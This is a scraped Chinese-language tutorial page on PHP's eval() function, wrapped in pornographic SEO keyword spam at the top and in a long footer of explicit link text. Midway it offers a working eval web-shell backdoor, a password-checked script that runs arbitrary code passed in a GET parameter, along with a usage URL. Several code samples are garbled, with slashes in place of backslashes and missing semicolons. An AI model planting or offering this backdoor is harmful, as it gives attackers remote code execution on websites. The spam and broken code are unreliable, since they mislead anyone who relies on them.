麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 語言 > PHP > 正文

PHP eval函數使用介紹

2024-09-04 11:49:54
字體:
來源:轉載
供稿:網友

eval()函數中的eval是evaluate的簡稱,這個函數的作用就是把一段字符串當作PHP語句來執行,一般情況下不建議使用容易被黑客利用。

代碼:

eval("echo'hello world';");

上邊代碼等同于下邊的代碼:

echo"hello world";

在瀏覽器中都輸出:hello world

運用eval()要注意幾點:

1.eval函數的參數的字符串末尾一定要有分號,在最后還要另加一個分號(這個分號是php限制)

2.注意單引號,雙引號和反斜杠的運用。如果參數中帶有變量時,并且變量有賦值操作的話,變量前的$符號錢一定要有/來轉義。如果沒有賦值操作可以不需要。

代碼:

$a=100;eval("echo$a;");

因為沒有賦值操作,所以可以不用/來轉義$.等同于以下代碼:

  1. $a=100;eval("echo/$a;")  
  2.  
  3. $a=100; 
  4. eval("echo/$a;"

3.注意在命令式字符串(包括分號)兩邊必須要有雙引號或者根據需要用單引號。否則報錯。

命令式字符串是指:字符串中包括echo、print之類的命令的時候。

如果參數只有一個變量則可以不用。例如:

  1. $func =<<<FUNCfunction test(){   echo "test eval function"; }FUNC;eval($func);test();  

分享個php eval后門程序

要求必須支持eval函數

使用方法

http://url/test.php?pwd=admin&action=eval&a=phpinfo();

  1. <?php$passwd="admin";if($_GET['pwd']!=$passwd)exit;if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}?> 

PHP eval() 函數介紹

定義和用法

eval() 函數把字符串按照 PHP 代碼來計算。

該字符串必須是合法的 PHP 代碼,且必須以分號結尾。

如果沒有在代碼字符串中調用 return 語句,則返回 NULL。如果代碼中存在解析錯誤,則 eval() 函數返回 false。

語法

eval(phpcode)

參數  phpcode

描述  必需。規定要計算的 PHP 代碼。

提示和注釋

注釋:返回語句會立即終止對字符串的計算。

注釋:該函數對于在數據庫文本字段中供日后計算而進行的代碼存儲很有用。

例子

  1. <?php$string = "beautiful";$time = "winter"$str = 'This is a $string $time morning!';echo $str"<br />"eval("/$str = /"$str/";");echo $str;?> 

輸出:

This is a $string $time morning!

This is a beautiful winter morning!

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 成人在线视频国产 | 久久亚洲网 | 作爱在线观看 | 国产精品视频一区二区三区四 | 日韩中文字幕一区二区三区 | 羞羞视频免费观看网站 | 午夜电影视频 | 欧美视频一区二区三区 | 免费一级片观看 | 性生活视频一级 | 成人 在线 | 欧美一级特黄a | 欧美三日本三级少妇三级99观看视频 | 91精品久久香蕉国产线看观看 | 久久成人免费网站 | 亚洲国产综合在线观看 | 欧美福利视频一区二区三区 | 露脸各种姿势啪啪的清纯美女 | 91成人在线网站 | 国产免费专区 | 天天干天天碰 | 在线免费亚洲 | 最污网站 | 精品欧美一区二区精品久久 | 羞羞视频免费网站含羞草 | 黄色网战入口 | 逼片 | 三人弄娇妻高潮3p视频 | 欧美成人高清视频 | 久久人人爽人人爽人人片av高清 | 狠狠干天天操 | 插插操| 欧美日韩免费在线观看视频 | 免费久久久久久久 | 中文在线观看视频 | 成人在线视频网 | 亚洲第一页综合 | 国产女同玩人妖 | 亚洲人成中文字幕在线观看 | 国产精品久久久久久久久粉嫩 | 毛片在线免费视频 |